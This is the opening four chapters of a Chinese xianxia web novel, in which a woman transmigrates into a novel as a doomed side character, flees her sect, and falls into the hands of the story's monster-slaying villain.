《苟到反派怀里我咸鱼翻身》
1. 第 1 章
叮当,叮当。
檐角下的风铃在微风吹拂下发出一声声清脆悦耳的声音。
安详的躺在床上的少女缓缓睁开双眼,表情有一瞬间惊恐。
虞想一骨碌从床上爬起,警惕的打量起四周。
入目是一张深褐色的檀木圆桌,四周摆放着几个矮凳,右手边是一个带有浮花纹路的衣柜,柜门大开,里面各式各样的衣裳一览无余。
靠近床边是一方坐榻,上面摆着一张方形茶几,茶几上正燃着熏香,青烟缕缕,四散在房间里。
虞想坐在雕花木床上,低头看去,发现自己也是古装打扮,一身石榴色的广袖流仙裙,腰间别着个橘红色鎏金边小口袋,抬头间,发髻上的簪钗叮咚作响。
见此场景,虞想心中顿时警铃大作。
她这不会是穿越了吧?
还没等她搞明白,门口处便率先传来几道不可忽视窃窃私语。
“虞师妹真是不让人省心,自己灵力低微,还非要去百草崖采祝灵草,惹来妖兽袭击,最后还得让林师兄出手救她。”那人故意压低嗓音,小声抱怨道。
“就是,要不是为了救她,大师兄怎么会被那妖物伤到!”另一人声音略大,愤愤的替那位林师兄打抱不平。
“哎,谁让她投了个好胎,要不是她爹救过林师兄,哪能轮到她当咱们的小师妹。”
“这些年,为了报恩,林师兄对她可谓是百依百顺,有大师兄作样,整个长清宗谁见着她不得毕恭毕敬的喊声小师妹。”
林师兄、长清宗、小师妹。
虞想默默消化着这几个关键词,脑海中突然灵光一闪。
她知道了!
她不是穿越,是穿书了!而且还穿成了书中的炮灰女配。
在《大道至行记》这本书中,男主林疏放就有一个和她同名同姓的小师妹,这个小师妹娇蛮任性,不分场合缠着男主,惹得所有人都厌烦她,最后因为耍小性子离家出走,被妖物抓走,惨死在一个山洞里。
想到此,虞想止不住打了个哆嗦,她可不想走原著剧情,落得个惨死的下场。
就在虞想胡思乱想之际,外面突然异口同声的传来一句:“大师兄!”
虞想闻言,飞快扯住旁边的锦被往身上一盖,缩在被子里,微微抬眼看向来人,装作自己才刚刚苏醒的样子。
林疏放信步走到床边,缓缓落座,温柔的询问道:“师妹,感觉好些了吗?”
“好、好多了。”
虞想刚穿过来,拿不准女配平时是怎样跟她师兄相处的,只能磕磕绊绊的糊弄。
“嗯,那就好。”
“答应我,下次再想要什么宝物跟师兄说,不要再一个人去冒险了好么?”林疏放无奈的语气中带着几分不可违抗的强势。
“好的,师兄,我知道了。”多说多错,虞想立马顺着男主的话答应下来,这份乖顺的样子却引得林疏放不由得多看她几眼。
两人一时无话,房间里迅速寂静下来,此时便是落根针,也能听的一清二楚。
虞想颇有些受不了这诡异安静的气氛,挠挠头。
好尴尬啊!
林疏放将她的小动作收入眼底,倏尔,突然开口道:“既然师妹已无大碍,就好好休养一段时间,等过几天师兄再来看你。”
“那……谢谢师兄。”虞想巴不得这位男主赶紧走人。
不为其他,实在是这位男主虽然看着温柔和善,但是这不容违抗的气势和那暗藏着的拐弯抹角的试探,实在是让她这个假炮灰女配吃不消。
林疏放施施然起身,转身之际深深的看了虞想一眼,只那一眼,就让虞想的小心脏砰砰直跳,不是别的,这是被吓得。
吱呀——
门扉被人从外面合上,虞想紧绷的脊背才慢慢放松下来,她摸了一把额头上不存在的冷汗,缓缓呼出一口浊气,真是吓死她了。
男主也实在是太敏锐了,最后那一眼,也不知是不是已经对她起疑,毕竟她又不是他原装的小师妹,性格还有一些小习惯肯定会有所差别。
要是被他发现她是个外来户,把她当成什么妖邪附身,还不知道要怎么对付她。
虞想搓了搓冷的发毛的双臂,暗自下定决心:与其在这里战战兢兢地扮演他的小师妹走原著剧情,落得个被妖物抓走惨死的下场,还不如现在就与他们分道扬镳。
天高任鸟飞,海阔凭鱼跃,她自己找个地方躲起来,保住小命,安安稳稳的过完下半生不是更好吗?
想到此,她果断下床收拾行李。
是夜,月亮从东方悄然攀上枝头,灰黑色的天际挂上几颗闪闪发光的星子,墙角边夏虫传来声声低语。
虞想蹑手蹑脚地从房间里出来,动作放轻,小心翼翼地关上了房门。
还好今天她醒过来后门口那两位师兄便离开了,要不然她还真是不好跑路。
虞想猫着腰,左右查看,发现没人后,果断背着包袱,怀里抱着盏长明灯,一路小跑到后山,顺着一条小道飞奔而下。
下午的时候她就已经接收了原主的记忆,也是从原主的记忆里,她发现长清宗后山这条人迹罕至的小道。
从这里下山,基本不会被人发现。
她顺势一路而下,就在走到这条小道的岔路口时,忽然瞥见远处急急地坠来两道流光,看距离,不过距她百米左右。
虞想迅速躲在一棵硕大的树干后,紧紧环住怀里的长明灯,屏住呼吸,小心地观察着前方的情况。
嘭——
只听见一声巨响,是重物砸落在地上发出的闷声。
虞想抬眼看去,只见一条三头腾蛇正扭着身躯从地上一跃而起,暗黑色的蛇鳞在皎洁的月光照耀下显现出诡异万分。
纤细猩红的蛇信如同一条三米长绳,弯成诡异的弧度,灵活地往对面缠去。
虞想定睛一看,才发现那三头腾蛇对面居然还站着一位少年。只因他一身黑衣,刚才又隐匿在树荫处,她这才没有发现他。
看到那蛇信在空中蜿蜒盘旋,即将缠上少年的身躯时,虞想不由得心间一紧。
变故突发在一瞬,也不知少年是何时出手,两条蛇信便被他紧握在右掌间,拉出比先前更长的长度,引得对面的腾蛇攻势愈猛,蛇尾拍在地上啪啪作响,仅剩的那张蛇口绕转到他的身后,墨绿色的毒牙伺机往少年身上咬去。
“找死!”少年左肩上突然飞起一只幼鸟般大的乌鸦,那乌鸦的身形在空中迅速膨胀,变得足足有先前百倍之大,鸦喙直直往蛇眼啄去,腾蛇发出几声凄厉的非人般惨叫。
少年趁机飞跃上腾蛇庞大的身躯,掐住它的七寸,手掌间魔气翻涌,那条腾蛇的内丹竟生生被他抠出来。
霎时,足足有几人高的腾蛇轰然倒地,压断附近几棵老树。
此时明月高悬,银白色的光辉洒落在少年所站立的一片区域中,虞想这才看清他面貌。
那少年生的极好,英挺的长眉下压着一双狭长的丹凤眼,眼眸漆黑,鼻梁高挺,下颌线线条流畅,凌厉又不失俊美。
身着一身单薄的
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黑衣,鎏金色的暗纹在月光的照耀下发出诡异的光芒,头发用金色发带高高绑起,显得整个人四肢修长、身量极高。
若不是他刚才直接生生挖出那腾蛇的内丹,虞想还会认为这样好样貌的人应该是好相处的。
少年从腾蛇身上一跃而下,睨了一眼远处的乌鸦,脚尖浑不在意地踢了踢一旁的蛇身。
“没用的废物,处理干净!”
远处的乌鸦听到少年的指令,从高空俯冲而下,漆黑的牙喙张开,露出里面锋利雪白的牙齿,那刀削般的银牙在月光下显得寒光湛湛。
虞想看到那乌鸦竟一口吞掉百米长的腾蛇,还面不改色地缩小成巴掌大的乌鸦,心中顿时一骇,脚下不自觉地踩断了一根垂落的枝藤。
枝藤断落,发出轻微的声响,在这寂静的夜里是格外明显。
虞想整颗心都被吊了起来。
“谁在哪里?”只见不远处的少年身影如鬼魅般,几息之间便来到她的面前,虞想心间一紧,面色有片刻的苍白,耳畔间心跳声如擂鼓咚咚作响,震得耳朵生疼。
她紧紧环住怀中那盏幽亮的长明灯,身体由于过度害怕发出轻微的颤抖,她紧张的咽咽口水,试图缓解这股恐惧。
“抬起头来。”对面的人见她一副鹌鹑样,冷冰冰的发话。
刚才那条腾蛇的死状还历历在目,虞想怕忤逆他,落得和腾蛇一样的下场,听话的仰起头来看向对面的少年。
那人见到虞想的脸先是一怔,随后面色迅速沉了下来,他弯下腰,卡着她的下巴往上抬,与她平视。
“是你。”
!!!
短短两个字顿时让虞想感觉到头皮发麻,一阵寒意从尾椎骨窜起,蔓延到四肢,令她不自觉地打了个哆嗦。
什么情况?他们认识?
许是她眼中的困惑不安与陌生太过强烈,少年松开了手,转向她的颈边捻着一缕碎发,这动作像是情人间的调情,也像是一下秒就要掐断这截雪白的皓颈。
他兀自说道:“也对,长清宗的小师妹贵人多忘事,有些前事怕是记不得了。”
“不过,既然记不得,那不如就从此刻就开始记。”
这些话云里雾里的,虞想一时间也搞不清是不是原主同他有过渊源。
她眨眨眼,决定先了解一下情况再说。
虞想暗自掐了自己大腿一把,装成一副柔弱无害的样子,泪眼朦胧的看向对面的人,试图降低他的警惕心,“我们之间是不是有什么误会?”
“误会?”雁亭序闻言冷笑一声,“呵,我雁亭序跟你可没有误会。”他们之间有的只有恨,更准确点来说,是他的恨!
雁亭序。
这突如其来的自报家门让她身体一僵,紧绷的神经已然到了拉响警报的状态。
先前的疼痛已经算不上什么了,她应该庆幸她现在还活着。
毕竟他可是是书中的超级大反派雁亭序!
在原著中他可是个暴力天花板、杀人眼都不带一眨的,不管是人、魔、妖,只要碍他的眼,便只有死路一条。
不仅如此,他还不停的给男女主添堵,搅得整个修真界都不安宁,后期突然黑化要打开地狱之门,放出邪魔扰乱人间制造灾难。
当然反派终究是反派,是不可能成功的,在最后关头,地狱之门关闭,他被男女主合力绞杀,铸就男女主飞升成仙的功德。
但现在,这个灭世大反派竟然就在她身边!
虞想感觉自己这条小命随时都可能会离她而去。
2. 第 2 章
雁亭序看着有些出神的虞想,联想到她刚才对他陌生的样子,便知道她当真是没有记起来。
那些旧事她记不得最好,否则在他见她第一面时,她已经成为他的手下亡魂。
这些年午夜梦回间,虞想那双明亮如星子般的小鹿眼,总是能毫无阻拦的照进他内心深处的黑暗,在梦境里折磨他,令他那些丑陋与黑暗无处可藏。他对她,当真是恨极!
他大步流星走到她的身侧,将人像扛麻袋一样扛到肩上。
行走间,硬朗结实的肩胛骨抵得虞想生疼,但她是大气不敢喘,只能闭着眼缩成一团装鹌鹑。
不知何时,她感觉面上拂过一阵清凉,像是闷藏在炎热的夏季的一缕清风,拂过眉梢,带过鬓角,耳畔接着传来风声掠过的呜咽,虞想悄咪咪地睁开右眼,发现自己竟处在万米高空之上。
而驮着她的,不是别人,正是那只一口吞掉三头腾蛇的乌鸦老兄。
漂浮的白色云絮之下是星星点点的城镇,因为距离太远,每个城池都缩略成米粒那般大。
虞想见此场景,眼泪蹭的一下盈满眼眶,不为别的,她恐高!
“怎么,怕了?”温热的呼吸喷洒在她的后颈,刻意压低的声音如同情人间温柔的低喃,激得虞想浑身汗毛炸开。
“嗯嗯,怕!”
似是听到什么好玩儿的事情,身后的雁亭序轻笑一声,“怕就睁开眼好好看看啊。”
!
爹的,知道他丫的他是个反派,但没想到是个拿着神经病人设的反派!
明知道别人害怕还非让人去看,这心理纯纯有点不正常。
虞想小脸皱成一团,试图把头埋进双膝,减少视觉冲击,可雁亭序像是洞悉了她的想法,提前掐住她的后颈,逼迫着她往前看去。
温热的手掌带着强势和不可反抗的力量,让她维持着脖颈微抬、向前看这个动作。
因着姿势不得劲,他整个人往前探来,半跪在她的身侧,高高束起的马尾有几缕发丝垂落在她的颈侧如同羽毛般轻扫她柔嫩的肌肤。
一时间,她既提心吊胆,又感觉浑身不自在。
尽管已是初夏,但夜间的风还是带有些许凉意,尤其是在万米高空,冷意更甚,不一会儿,虞想就被冻的小幅度哆嗦起来。
雁亭序第一时间就发现了她的动作,轻嘲她一句:“真是弱不禁风。”
语气中浓浓的嫌弃不言而喻。
虞想在心底默默吐槽:谁跟你一样,大半夜的不睡觉提刀杀妖,吹了半天冷风愈发精神抖擞,还有功夫来嘲讽她。
话虽如此,但雁亭序还是让苍梧,也就是那只乌鸦降落在地,带着她来到一个山洞,他将人扔在这里,身影隐匿进旁边的一片山林,没了踪迹。
山洞漆黑一片,虞想不敢进去,只能坐在洞口跟留下看守她的苍梧大眼瞪小眼。
过了一会,雁亭序他人回来了,还带回来一堆枯树枝,他瞥了眼抱膝缩成一团的虞想,没说话,自顾自走进山洞。
很快山洞内燃起了堆篝火,木柴燃烧,发出噼里啪啦的声响,黄澄澄的火焰照亮了整个山洞。
虞想坐在火堆旁,垂着头,任由温暖的火舌舔舐着墙壁上娇小的身影,她默默托着腮边,分析着自己目前的处境。
首先,她是穿书了,穿成书中爱慕男主的炮灰女配。
其次,她已经顺利离开男主,不用再扮演女配,走上原著的剧情线,但很不幸撞进大反派的残忍的杀人,啊不,杀妖现场,被他掳走了。
最后,也是最重要的一点,听反派的语气,他们以前好像有过渊源,但令人奇怪的是,不论是她还是原主的记忆里都没有雁亭序这号人物。
真是难搞,她可真的不想掺和进她跟反派或者是原主跟反派的纠葛,毕竟知道的越多,死的越快,她还是懂得这个道理的。
她就只想保住自己的小命,过个安安稳稳的生活,怎么就这么难。
对面的雁亭序斜倚在山洞的石壁上,右手搭在支起的那条长腿上,嘴里叼着根杂草,眯眼看向面前的虞想。
她和上一世还是一般模样,喜欢那些鲜艳明亮的衣裳,身上这件石榴色的广袖流仙裙尤是她最爱的样式。
乌发浓密,樱唇琼鼻,弯月眉下是一双圆圆的小鹿眼,眼底清澈,如同一汪泉水中散落着颗亮晶晶的星星,总让人觉得无辜又好欺负。
只是现在那双澄澈的鹿眼垂落,纤细的睫毛一颤一颤,挡住眼底的光色,平添几分落寞。
落寞?
雁亭序轻啧一声,嘴角扯开个嘲讽的弧度,她怎么样又关他什么事,她不开心,那他就痛快了。
这一世他留下她,不就是为了报复吗?他要让那双总是亮晶晶的双眼,流下痛苦屈辱的眼泪,想到此,一股隐秘的快感自体内升腾。
“真当你还是长清宗的小师妹,连添柴这点事都不会做?”。
人在屋檐下不得不低头,虞想往旁边挪了挪,将几根碎树枝丢到火堆里,温暖的火苗驱走了寒冷。
虞想在一番烘烤下,浑身变得暖洋洋起来。
人一到温暖的环境,神经就会松懈,虞想现在脑袋就已经开始混沌,眼皮也变得沉重,可碍于大反派守在她身边,她实在是不敢睡。
虞想竭尽全力同困意作斗争,困倦的余光瞥见雁亭序心情颇好的样子,她强撑着困意大胆问道:“雁公子,我们之前是有什么过节吗?”
“我们之间的过节——”雁亭序拖着长腔,刚要回答,却不知想到了什么,脸色一沉,“呵,我凭什么告诉你?”
“还有,不准叫我雁公子。”
刺探消息失败。
虞想缩回去,依偎在火堆旁,困意已经像龙卷风一样将她顽强作斗争的意志席卷。
一时间两人无话,这方狭小的空间瞬间安静下来,只剩下燃烧的木柴在噼啪作响。
虞想也不知道自己是什么时候睡过去的,但醒来时就对上一双黑漆漆的眸子,着实是不亚于做噩梦的程度了。
“你为什么离我这么近,还那样看着我?”虞想缩了缩脖子,护住身前的衣襟,保持安全距离后发问道。
“哦,我就是看你一动不动是不是死了,死了的话,我可以顺带帮你埋了。”
雁亭序语气轻飘飘的,带着明晃晃的恐吓与戏弄。
说完,他直起身子,拉开两人之间的距离,转身往洞口走去,高高的马尾在身后一晃一晃的,彰显着主人心情颇好。
虞想双手握拳,嘴不需要可以捐给需要的人,说话这么毒,小心以后娶不到老婆!
一大早就被这神经病戏弄一番,虞想感觉今天心情都没有那么美妙了。她起身去山洞外百米远的小溪边洗漱,雁亭序也不知是不是早已整理完毕,就那样斜倚在树边,看着她。
变故突发在一瞬,就在虞想刚刚擦干净脸的时候,远处突然传来一阵疾风掠过树梢的异动。
虞想定睛看去,只见方才雁亭序斜倚的树干瞬间被妖气侵蚀,留下一个黝黑的不规则痕迹。
而他本人正与一只六尾狐妖缠斗在一起。
神仙打架,凡人遭殃,虞想果断揣起擦脸的帕子,跑到一块巨石
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下躲着,她扒着石头,微微探出个脑袋尖,小心地观察着战况。
那狐妖五指成爪,直直往雁亭序面门掠去,“雁亭序,昔日你杀我狐妖一家,今日我便要你血债血偿!”
哦豁,还是个寻仇的!
虞想瞪大双眼,紧张的看着前方的战况。
只见雁亭序微微一侧,躲过它那致命一击。
战况焦灼,他竟然在交手中发出一声不屑的嗤笑,“就这?”
虞想躲在一旁都能感受到他的轻蔑,更何况是那只近战的六尾狐妖。
下一秒,狐妖攻势猛增,却猝不及被雁亭序掐住喉咙,只听见清脆的嘎巴一声,那只狐妖便如同泄了气的皮球,头一歪,死翘翘了。
虞想看的胆战心惊,反派不愧是反派,难怪人家不屑,杀这种妖精竟然只需一招,这武力值,简直是暴力天花板。
此时此刻,虞想对他的实力也有了清楚的认知,得亏她昨天没有说什么得罪他的话,否则她可就得跟这狐妖一样,脖子咔吧一声,被反派送去归西。
雁亭序随手扔掉狐妖的尸体,肩上的苍梧颇有眼色的从他肩头飞下,一口将其吞掉,再飞回他的肩头,本本分分的充当一个尸体消灭器。
他扫了一下四周,一眼就发现躲在巨石后的虞想。
雁亭序见她现在脸色苍白,僵在原地一动也不敢动,知道她是吓得不轻,但那不正是他想要的结果吗?
他勾了勾唇角,踱步往虞想的方向去。
虞想确实是被吓得不轻,但不是被雁亭序吓的,而是被她脚边的东西吓的。此刻她的鞋边好像有什么东西在勾缠她,毛茸茸的细丝蹭着她的鞋尖往上攀爬,触及到脚踝还打着转的蹭了蹭,这感觉实在是毛骨悚然。
虞想鼓足勇气,大着胆子往下看了看,不看不要紧,一看,腿肚子直打哆嗦。
只见一条嫩绿色两指粗的藤蔓长着细小而纤细的绒毛,每条绒毛上都有着百十张小嘴,在空气中无意识开合。那藤蔓此刻正妄图从她脚腕向小腿攀爬。
“啊,什么鬼东西!”
霎时,那两指粗的藤蔓变得足足有成年男子手臂那样粗,以迅雷不及掩耳之势,拖着虞想就往一个树洞钻去。
雁亭序脸色一变,飞身前去想抓住虞想,却只能抓住她一片衣角,看着她被拖进树洞。
电光石火间,雁亭序只来得及将一缕魔气附着在虞想身上。
虞想整个人被捆住腰身,从树洞里急急往下坠落,耳畔边是风声的呼啸,心脏仿佛不受控制般要跳出胸膛。
她紧闭双眼,在心里疯狂吐槽,她还真是倒霉,自从穿过来,没有一件好事,除了被恐吓,就是被抓,苍天呐,她一条小咸鱼是真的只想过个安稳日子啊!
虞想本以为自己会脸着地,然后落得个身首异处、面目全非的下场,可那藤蔓却在离地面五米处,猛的止住下落,将她五花大绑悬在半空中。
还好,还好,还没死!虞想呼出一口浊气,慢慢平复着自己急促的呼吸与失控的心跳频率。
待到呼吸恢复平稳、心跳也恢复正常后,她这才有空打量起四周。
她像是掉进了一片绿色的海洋,四周墙壁上铺满了嫩绿色的树叶,就像是爬山虎的叶子一样,叶子之间砌着不少夜明珠,分布的并不规则,像是被人随意摆弄,但将树洞照的十分亮堂。
虞想还眼尖的发现,角落里一堆白骨堆得足足有半人高,周边还散落着灰褐色的痕迹,像是血液渗进泥土,又经过长时间的风化,变的干涸。
所以,她这是又被拖进了哪个妖精洞里?
3. 第 3 章
一直在身后打量她的断萤花见她一声不吭,不像以前意外掉下来的那些人哭爹喊娘的样子,觉得没什么乐趣,终于耐不住性子,从她身后探出个身子来。
可它不知道的是,虞想只是表面强装镇定,实际上她正在内心疯狂吐槽。
这操蛋的日子什么时候是个头啊?
她只是一个平平无奇的穿书人士,穿的还是炮灰女配,为什么要给她强加戏份?!!
既让她遇到大反派,现在还要被一条藤蔓小妖精给抓走、体验一遍“跳楼机”。
她这条小命,真的没有什么特殊之处,好好地留给她不好吗?!!
突然,一阵窸窸窣窣的声音,吸引了虞想的注意力,她往四周看去,只见一条绿色的藤蔓正朝着她这个方向这里游来。
这条绿色的藤蔓足有她手腕那样粗,枝干与其他藤蔓一样,有许多细小的绒毛,,只不过主干上的那些绒毛此刻都闭上了嘴巴,藏住里面锋利的牙齿。
它的尖端上顶着一朵粉红色的小花,花有五瓣,中间还有些嫩黄色的细蕊,看不出是什么品种。
“你为什么没哭也没有大喊大叫?”一道奶里奶气的声音疑惑地发问道。
虞想盯着这条小藤蔓上上下下打量了它三次,才敢确定,的确是这条小藤蔓发出的声音。
“因为我天生不爱哭?也天生不爱叫?”虞想缓缓的开口,尾音带着几分迟疑。
“我不管!你就要哭的满脸都是泪,就要——咦,你好香诶!”藤蔓狠话还没有放完便先被另一件事吸引。
它发现这个人类好香,比它以前见过的人都香!
以前掉进洞里的那些人都是臭的,他们的灵魂里都藏着污秽恶臭的私欲,把整个人都弄的不好闻,也不好玩。
但她的灵魂非常纯净,让她整个人闻起来就很香,连同在她周边的灵力都变得十分香甜。
它们上古葛藤一族,只有依靠天地间纯净的灵气才可以长大,生长可谓是极其缓慢,要是能和她在一起,它就能吸收更多的天地灵气,快快长大,拥有粗壮的身体。
断萤兴奋地摆弄着枝条,将整个尖端也就是它的脑袋凑到虞想面前,兴冲冲问道:“香香的人类,你愿意每天都跟我玩吗?”
虞想被它这奇怪的发问弄的发懵,这是什么意思?
为什么要在跟它玩之前加上一个香香的人类?
这难道是它们植物界特殊的礼仪?可它一开始也没见的对她有多礼貌啊!
思虑再三她还是决定先拿回主动权,旁敲侧击的开口道:“你为什么要叫我香香的人类?”
“因为你的灵魂很香,身边的灵气很香甜,所以你是香香的人。”
藤蔓还是小孩子智商,单纯的很,别人问什么,它便全都一股脑儿的说出来,全然没有什么防备心理。
它能在这里活得这么长不被抓,只怕是依靠了这天然的地理优势还有自己灵活的身躯。
虞想听到它的话若有所思。
不一会儿,她笑盈盈的看向面前摇头晃脑的藤蔓,那小藤蔓还在等着她的回复。
她像是引诱小红帽的那只狼外婆,对着小藤蔓忽悠道:“你是想要我身边的灵力,才想让我陪着你玩?”
断萤点点头,对虞想的话表示认可。
虞想见状,果断再接再厉:“那我们做个交易好不好?”
断萤继续点头,示意她说下去。
“你知道的,我是一个人类,需要食物和水,是不可能会一直陪你呆在这个树洞的,那样我会饿死。”
“但是我可以带你去外面的世界,那里有繁华的城池、热闹的集市、还有各种各样的美食。”
“你想不想去看看?”
“想!”
虞想歪打正着,直击断萤的内心。要知道它对外面的世界可是向往很久了,但因为没有充足的灵气,它不能长大,一直不能离开这里。
断萤沮丧的同她解释:“可是我的根扎在这里,不能离开。”
“没关系,我有办法可以带你离开这里。”
“那要怎么做?”
虞想让它先把她放下来,断萤听话照做,待到安全落地后,她咬破自己的手指,将一滴鲜红的血液滴落在藤蔓上。
她抱着试试看的态度,口中念念有词地重复着一段繁杂的法术咒语。
霎时金光大盛,刺的她眼都有些睁不开,一个繁琐的符文笼罩着她跟断萤,直到金光散去,树洞内的绿叶悉数消失,她的手腕上凭空出现了个回环盘扣的木镯,一个平等契约这才完成。
虞想瘫坐在地上,松了一口气,幸亏她机警,从原主的记忆里找到这个签订契约的方法,否则她可真得一辈子困在这里了。
有了契约,虞想便可以直接在脑海中同这株小藤蔓沟通,但现在不是什么沟通的好时机,先让她歇歇再说。
待虞想体力恢复了七七八八后,她这才友好的向藤蔓问道:“你叫什么名字啊?”
小藤蔓在她识海中揪着自己的叶子,语气颇有些骄傲,“我叫断萤,断萤的断,断萤的萤。”
虞想也大大方方的同它介绍自己:“断萤你好呀,我叫虞想~”
就在两人友好交流的时候,树洞突然发生翻天覆地的摇晃,虞想竭力撑着墙壁,才能保证自己不被晃倒。
“这是怎么了?”她艰难的向脑海中的断萤询问道。
“是有人在强行破坏树洞的结界。”
断萤一说完,虞想脑袋里就自动浮现出一个人的身影——大反派雁亭序。
说时迟那时快,刚被她想到的某人,一个瞬移就出现在她的面前。
雁亭序看着面前的虞想。
发髻因为树洞剧烈晃动而变得散乱,脸上也擦上了几道棕褐色的泥土印,裙?更是皱皱巴巴的,可那双小鹿眼却是亮晶晶的,穿过空气中漂浮的尘埃,直直地看向他。
像是能看透人的内心。
雁亭序下意识别开眼,刺了一句:“没想到你还活着啊!”
虞想一听他这话就来气,可她不敢明面上骂他。
有先前的腾蛇老兄和狐狸老兄为例,她还不想惹这个变态,被咔吧一声扭断脖子。
“命大,命大而已!”虞想讪笑着,默默往后退两步,离他更远一点。
雁亭序盯着她往后退的动作,丹凤眼一眯,语气阴鸷,“腿不需要的话,我就帮你打断。”
一句话,就让虞想僵在原地,一动也不敢动。
这反派,还真是喜怒无常,心情比那天气预报还不准,一会儿晴天,一会儿打雷的。虞想在心底吐槽了一句,雁亭序已经转身走了一段距离,见她没动,开口就要刺她。
虞想回过神来,眼尖的发现他神色不快,看看两人之间的距离,她立刻跟
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了上去。
雁亭序见她如此识相,一口讽刺的话卡在喉头不上不上,只能冷冷的哼气一声,吐出一句:“跟上!”
两人从树洞后面出去,七拐八拐地进了一条地道,那地道漆黑不已,伸手不见五指。
虞想又是普通人,没有夜视能力,还怕黑很。
先前她敢从长清宗小道下山,一是当晚的月亮很亮,可以大体看清四周,二是她怀里抱着盏长明灯,可以照路。
可现在,地道里什么也没有,一点光也不透,也没有多余的声响,像是要把人溺毙在这片黑暗中一样。
虞想心里发毛,不想被落在后面,快步上前,赶上前面的雁亭序。
比起被他嘲讽与恐吓,她还是更怕黑一点。
虞想从后面戳了戳雁亭序的腰身,颤颤巍巍道:“雁亭序,你说这里面应该没什么东西吧。”
雁亭序闻言,止住步子,挑眉一笑,他慢悠悠转过身来,刻意压低声线,吓唬她:“这也说不准,说不定现在你的身后就有一只小妖正嘴里流着涎水,眼冒绿光的看着你呢。”
一听此言,虞想的脸色刷的白了下去,她喉间发紧,带着哭腔问道:“真的吗?”
雁亭序是魔,天生能夜间视物,因此他没有错过虞想听到他的话后任何的小表情。
见她被吓得不轻,他这才大发慈悲的放过她,“骗你的。”
“真的?”
“爱信不信。”
他说完,又继续往前走去。
尽管雁亭序已经说过这条地道没有任何东西,但虞想还是害怕。
她小心翼翼地扯住雁亭序的衣角,默默跟着他前行。
雁亭序在她接近他的那一刻就已经察觉,却没有阻止她,任她扯住他的衣角,像是一条小尾巴一样,躲在他的身后。
毕竟现在她能依靠的,只有他,也只能是他。
雁亭序回头看了她一眼,没说话,唇角却不自觉地勾起,怎么压也压不下。
索性现在没人能看到,雁亭序也没管,就那样心情颇好的往前走着,一条地道很快就到了尽头。
虽然他心情不错,但总有不长眼的来挡道。
地道尽头,一只巨大的蚁妖正把通往地宫的入口挡得严严实实。
见到雁亭序他们二人,竟口吐人言发出音波攻击:“大胆,来者何人,竟敢擅闯地宫!”
“滚!”雁亭序再好的心情此时也被破坏的一干二净。
他这个人向来是不喜欢那些看不起他的,一般这样的,他当场就杀了。
这次也不例外。
雁亭序一挥袖,就消解了蚁妖的音波攻击,反手间,掌心魔气翻涌,他一步向前,飞身跃起,掌中的魔气被灌入蚁妖体内。
只听砰地一声,蚁妖竟然在原地爆体而亡。
黑色的碎肉洋洋洒洒自空中落下,像是下了一场黑雨,空气中传来难闻的腥气,大概是蚁妖身上气息。
虞想再一次惊骇于反派爆炸的杀伤力,她相信,要不是有男女主最后收服他,就凭他这实力,说不他还真能让原著中的地狱之门打开,将修真界搞得一团糟。
雁亭序并不知道虞想的想法。
他回身,找到在角落里抱头缩成一团的虞想,一把掐着她的腰,将人提了起来。
“瞧你那小胆儿样。”他嗤笑一声,竟就这样带着她往地宫走去。
4. 第 4 章
这座地宫里面装饰堂皇富丽,四角皆有一根圆形石柱,上面雕刻着百鸟鱼虫的图案。
金银珠宝被随意丢弃在角落,堆成一个又一个小山丘。
大殿正中央,一只栩栩如生的金鸾正立在那里,它脖颈高昂,长喙紧闭,眼神炯炯地看向远方。
雁亭序带着虞想往前迈去,也不知是触发了什么机关,他们所站立的地方竟然与大殿中央同时发生旋转,就像是两个相砌的圆盘在朝一左一右两个相反的方向转动,而他们所在的外环大圆盘迅速向右旋去。
伴随着急剧的转动,大殿中的景象如同浮沫一般,迅速消失在他们的眼前,稳住跟脚的间隙,他俩已经就被关在一间石室里。
虞想一手撑着墙壁,一边无意识扶住雁亭序,这才没有歪倒。
她现在头晕目眩,眼前发黑,好像有小星星在转,耳边有些许嗡鸣,胸腔内翻涌上来一股股的反胃感。
这感觉,还真像晕车。
虞想扶着墙根缓了缓,暗自晃晃脑袋,把那股反胃感压下,耳畔忽然传来一道阴恻恻的声音。
“你还要这样抱多久?”
虞想捏捏手下硬朗结实的肌肉,手感好像有点不对。
她看向自己的爪子,此时正紧紧攥住雁亭序的手臂,还没有任何要撒手的迹象。
一旁的雁亭序正垂眼看着她,目光幽幽的,神色莫名,也不知这样盯了她多久。
求生欲使她飞快地把爪子缩回来,快到残影都快看不清。她默默地把这只爪子藏在身后,内心流下了忏悔的泪水。
好好的,为什么要手贱的去扶他呀,扶墙不好么,这下好了,该怎么解释。
她谄笑着打哈哈:“我就是一不小心碰到了,一不小心而已。”
“我保证,下次绝对不会再出现这种情况!”虞想拍着胸脯作保证。
雁亭序意味不明的看了她一眼,“是么?”
他说完,也没去看虞想的反应,反而径直走向这间石室中唯一的床上,躺了下去,双腿交叠,左臂枕在脑后,右手搭在额前,令人看不清神色。
见他歇下,虞想这才暗自呼出一口浊气。
应付大反派可真累,照这样下去,她迟早得做个短命鬼。
虞想揉揉脸,转念一想,其实,做个短命鬼也挺好的,说不定她在这个世界死后还又能穿回去呢。
这样想着,虞想的心情好上了几分。
她这才有空打量起石室的环境。
这间石室不大,里面仅有一张床,一张桌子和一条板凳,桌子上燃着一根蜡烛,烛芯在里面跃动,融化的烛泪滴落在桌面上,形成一圈蜡渍。
这里面没有窗,也没有门,厚实的灰色墙壁将房间围的严严实实,像是要把他们困死在这里。
床已经被雁亭序占了,虞想无法,只能趴在桌边休息。
毕竟她现在也不能让反派睡桌子上,除非她是不想要她这条小命了。
虞想拉开板凳,将头埋进臂弯。
不一会儿,困意来袭。
虞想虽警惕雁亭序,可这几天实在是经历了太多,让她精神有些疲惫,竭力同困意拉扯几番后,最终还是眼一闭就睡了过去。
雁亭序从始至终都在假寐,虞想的一举一动他都能听到,现下传来她安稳的呼吸声,心气儿顿时有些不顺。
他僵在床上躺了一会儿,可实在是没有困意,几番辗转,虞想匀称的呼吸声传入耳中,更是让他不能入睡。
尽管虞想的呼吸声轻的简直不能再轻,可她的存在感就是那么强烈,让他无法忽视。
他一个翻身下床,来到她身边,扣了扣桌角。
一下、两下、三下。
虞想没有丝毫要醒来的迹象。
雁亭序舔了舔腮帮,神情逐渐不耐。
她究竟是有多困,这样都不醒?
他俯下身子,一手掐住虞想的后颈,凑到她的耳边,不怀好意的威胁:“虞想,你要是再不醒,我可就不敢保证我的手会做什么了。”
尽管虞想在睡梦之中,可她还是觉得旁边就像是有个冰窖一样,嗖嗖的释放着冷气,而且还有一只蚊子嗡嗡嗡地叫。
冰窖旁边怎么还会有蚊子呢?
